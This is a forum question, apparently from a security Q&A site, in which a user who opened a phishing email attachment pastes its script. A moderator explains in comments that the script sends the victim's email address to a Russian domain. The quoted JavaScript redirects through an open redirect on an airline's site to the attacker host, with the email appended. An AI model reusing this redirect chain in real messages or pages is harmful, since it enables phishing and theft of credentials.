0

Today I received an email with a .htm attachment. I opened it for about 2 seconds like a dummy and closed my browser before anything much could happen, but now facebook alerted me that I am logging in from the ukraine or something. Sooooo, yea.

My actual email address was written where I typed MYEMAILADDRESS@OUTLOOK.COM at the end. I'm just trying to understand what I need to do to fix this. Maybe reset my router?

<script type="text/javascript">window.location.href ="https://ums.koreanair.com/Check.html?
redirectUrl=9JRD01MTMy&amp:  
U1RZUEU9TUFTUw=TElTVF9UQUJMRT1FTVNfTUFTU19TRU5EX0xJU1Q=E9TVF9JRD0yMDE5MDkyMzAwMDAy&amp;    
VEM9MjAxOTEwMjM=0lORD1D&amp;
Q0lEPTAwMg=URL=https://ums.koreanair.com/Check.html?redirectUrl=9JRD01MTMy&amp;
U1RZUEU9TUFTUw=TElTVF9UQUJMRT1FTVNfTUFTU19TRU5EX0xJU1Q=E9TVF9JRD0yMDE5MDkyMzAwMDAy&amp;
VEM9MjAxOTEwMjM=0lORD1D&amp;
Q0lEPTAwMg=URL=https://rqbkhq07ml64131eb90dd12.sawamis.ru/MMYEMAILADDRESS@OUTLOOK.com";</script>

Reinterpretted:

<script type="text/javascript">window.location.href ="https://ums.koreanair.com/Check.html?redirectUrl=eggs&ham=random1=random2&bar=foo&something=URL=https://ums.koreanair.com/Check.html?redirectUrl=eggs&ham=random1=random2&bar=foo&something=URL=https://rqbkhq07ml64131eb90dd12.sawamis.ru/MMYEMAILADDRESS@OUTLOOK.com";</script>
Improve this question
New contributor
CopaGopa is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.
3
  • Unfortunately, we are not a malicious code review site. As you can imagine, if we allowed this sort of question, we'd be flooded with random code. If you just follow the code flow, you can see that it is meant to send your email address to the .ru site. Who knows what the sites do on the way to that final site.
    – schroeder ♦
    Mar 19 at 12:00
  • Sorry I saw you all answer someone's question back in 2019 and I was hoping someone still knew how to convert all these letters into words. I don't know how this script could've changed my IP address. my DNS server is unchanged so it's not like I've been routed somewhere. But when I log into Facebook, it says I'm logging in from an IP address that is in the Czech republic and after I unauthorized that login, I logged in from a different browser on my computer and the IP Facebook sees is in Ukraine. Sigh
    – CopaGopa
    Mar 19 at 15:26
  • Did it change your IP? You never said that. You only said that Facebook is alerting you that you logged in from another country. Those letters aren't words. Replace each pattern with a dictionary word. So, as I said, the whole thing just sends you to the .ru site. That site could have done anything to your browser.
    – schroeder ♦
    Mar 19 at 17:56

0

Reset to default

Browse other questions tagged or ask your own question.